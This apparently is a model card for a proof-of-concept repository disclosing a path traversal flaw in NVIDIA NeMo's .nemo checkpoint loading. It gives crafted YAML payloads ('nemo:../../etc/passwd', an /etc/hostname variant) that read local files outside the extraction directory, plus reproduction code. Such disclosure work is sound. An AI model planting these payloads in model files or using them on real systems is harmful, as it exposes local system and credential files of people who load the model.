Instructions to use asmit007/nemo-path-traversal-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use asmit007/nemo-path-traversal-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
| license: apache-2.0 | |
| tags: | |
| - security | |
| - poc | |
| - nemo | |
| # PoC β NVIDIA NeMo `.nemo` Path Traversal / Arbitrary File Read (`nemo:` artifact paths) | |
| **This is a security proof-of-concept, not a real model.** `attacker.nemo` is a | |
| minimal, benign-looking NeMo ASR checkpoint whose `model_config.yaml` contains a | |
| crafted `tokenizer.model_path` artifact reference that escapes the archive | |
| extraction directory using `../` traversal. | |
| - **Project:** `NVIDIA-NeMo/NeMo` (`main`) | |
| - **Sink:** `nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifact` | |
| - **Class:** CWE-22 Path Traversal β arbitrary local **file read/open** on model load | |
| - **Impact:** arbitrary local file read at the loader's privileges (not RCE, not file write) | |
| ## Malicious element | |
| `model_config.yaml`: | |
| ```yaml | |
| tokenizer: | |
| type: bpe | |
| model_path: "nemo:../../../../../../../../etc/passwd" # <-- traversal payload | |
| ``` | |
| The `nemo:` value is resolved by `register_artifact` as | |
| `os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:]))` with **no | |
| `..`/containment validation**, so it resolves to `/etc/passwd` β outside the | |
| per-restore extraction sandbox β and the tokenizer then opens it automatically. | |
| ## Reproduce | |
| ```python | |
| from nemo.collections.asr.models import EncDecCTCBPEModel | |
| EncDecCTCBPEModel.restore_from("attacker.nemo") | |
| ``` | |
| During construction, `_setup_tokenizer` calls | |
| `register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd')`, which | |
| returns `/etc/passwd`, and `SentencePieceTokenizer(model_path='/etc/passwd')` | |
| opens that out-of-sandbox file. (It then errors because `/etc/passwd` is not a | |
| valid SentencePiece proto β the security-relevant event, opening a file outside | |
| the archive, has already occurred.) | |
| For clean **content disclosure**, swap in the WPE variant so the target file's | |
| lines are loaded into the tokenizer vocabulary: | |
| ```yaml | |
| tokenizer: | |
| type: wpe | |
| vocab_path: "nemo:../../../../etc/hostname" | |
| ``` | |
| β readable via `model.tokenizer.get_vocab()`. | |
| ## Notes | |
| - Read-only: the resolver requires the target to already exist (no write/create). | |
| - Runs at the privilege of the process calling `restore_from` β no escalation. | |
| - The archive itself is clean and passes NeMo's `is_safe_tar_member`; the payload | |
| is a config string, so it bypasses the tar-extraction hardening entirely. | |
| Full write-up and patch: see the linked Huntr report. | |